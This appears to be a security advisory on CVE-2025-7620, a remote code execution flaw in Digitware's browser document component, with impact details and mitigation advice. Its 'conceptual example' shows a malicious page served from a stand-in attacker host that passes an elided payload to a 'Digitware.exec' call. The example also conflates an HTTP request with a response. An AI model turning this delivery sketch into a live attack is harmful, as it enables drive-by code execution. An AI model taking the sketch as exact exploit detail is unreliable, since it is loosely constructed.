Overview
The CVE-2025-7620 is a critical vulnerability discovered in the cross-browser document creation component developed by Digitware System Integration Corporation. This vulnerability puts systems with this component at risk of remote code execution, an attack that could potentially allow unauthorized remote attackers to carry out arbitrary commands. Given the widespread usage of Digitware’s document creation component across various browsers, this vulnerability holds severe implications for both individual users and organizations alike, with potential damages ranging from system compromises to data breaches.
Vulnerability Summary
CVE ID: CVE-2025-7620
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage
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Product | Affected Versions
Digitware Document Creation Component | All versions
How the Exploit Works
The vulnerability lies in the fact that if a user visits a malicious website while the document creation component is active, the system can be manipulated to download and execute arbitrary programs. The attacker crafts a malicious payload and embeds it into a seemingly innocuous webpage. When a user with an affected version of the Digitware component visits this webpage, the payload triggers the vulnerability, causing the host system to download and execute the malicious program.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability could be exploited:
GET /malicious/website HTTP/1.1
Host: attacker.example.com
Content-Type: text/html
<html>
<head></head>
<body>
<script>
var malicious_payload = {...}; // Contains the malicious code
Digitware.exec(malicious_payload);
</script>
</body>
</html>In the above example, the attacker’s server responds to a GET request with a webpage that contains a script tag. This script tag contains a call to the vulnerable `Digitware.exec` function, passing in the malicious payload.
How to Mitigate the Vulnerability
To mitigate the risks associated with this vulnerability, the recommended course of action is to apply the vendor patch as soon as it becomes available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These will monitor and potentially block suspicious activities, reducing the risk of successful exploitation. Users are also advised to avoid visiting untrusted websites, especially while the document creation component is active, to minimize exposure to potential attacks.